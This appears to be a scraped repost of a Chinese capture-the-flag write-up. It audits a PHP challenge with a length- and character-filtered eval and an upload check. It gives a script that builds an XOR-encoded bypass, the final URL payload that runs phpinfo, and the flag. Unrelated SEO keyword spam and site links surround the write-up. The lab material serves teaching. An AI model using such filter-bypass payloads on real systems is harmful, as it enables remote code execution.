当前位置: 首页 > news >正文

南阳网站推广方案网站开发外包 合同

南阳网站推广方案,网站开发外包 合同,电子贺卡制作,设计 p网站进入靶场 代码审计 <?php // 定义函数get_the_flag&#xff0c;功能是处理文件上传相关操作 function get_the_flag() {// 注释说明&#xff1a;webadmin会每隔20分钟删除用户上传的文件$userdir "upload/tmp_" . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录…

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {// 注释说明:webadmin会每隔20分钟删除用户上传的文件$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);// 检查用户目录是否存在,如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES["file"])) {$tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名$name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension = substr($name, strrpos($name, ".") + 1);// 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行if (preg_match("/ph/i", $extension)) die("^_^");// 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");// 检查上传文件是否是有效的图像类型,不是则终止脚本执行if (!exif_imagetype($tmp_name)) die("^_^");$path = $userdir. "/" . $name;  // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置@move_uploaded_file($tmp_name, $path);print_r($path);  // 打印文件的保存路径}
}// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {die('One inch long, one inch strong!');
}// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))die('Try something else!');// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {// 遍历0到254的整数for ($j = 0; $j < 255; $j++) {// 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符$k = chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k == $argv[$i]) {// 如果$j小于16,在$r中添加十六进制表示时在前面补0if ($j < 16) {$l.= "%ff";$r.= "%0". dechex($j);continue;}$l.= "%ff";$r.= "%". dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

http://www.yayakq.cn/news/843472/

相关文章:

  • 浙江平板网站建设外贸网站建设seo
  • 自己做网站教程科技小发明小制作大全 小学生
  • 购物网站建设教程网站改中文
  • 办公网新闻上传网站开发做一个公司网站一般多少钱
  • 网站建设费用大全线下编程课程收费标准
  • 东胜网站制作做网站编程要学什么
  • 宣传网站站点最有效的方式是建站网站教程
  • 看电视剧的免费网站建设工程管理是干嘛的
  • 网站建设优化解析如何查网站的icp备案
  • 跨国网站怎么做河北建设集团有限公司网站
  • 百度推广还要求做网站网站标题几个字合适
  • 郑州做网站哪家专业手机网站的价值
  • 网站建设文化策划方案万能浏览器官方免费版
  • 广州电力建设有限公司网站查询网站建立时间
  • 做网彩网站怎么做一元抢购网站
  • 怎么做免费视频网站青海建设工程信息网站
  • 福田网站优化网站备案怎么更改
  • 胶南市城乡建设局网站子目录安装wordpress
  • 分毫报价小程序seo技术交流论坛
  • 超市网站建设怎样申请做自己的网站
  • 企业门户网站有哪些台州网站制作建设
  • 做版面的网站成立公司的流程和要求及费用
  • 理财网站建设使用微信推广的各种方法
  • 公司手机网站效果图计算机哪个专业工资最高
  • 源码网站建设步骤辽宁建设工程信息网官网平台
  • 母婴 网站 策划免费咨询做网站
  • 网站如何防止被攻击成都网站外包优化
  • 深圳品牌网站建设公司哪家好企业网站建设合作合同
  • wordpress社交风主题甘肃谷歌seo
  • asp网上书店网站开发网站安全维护包括什么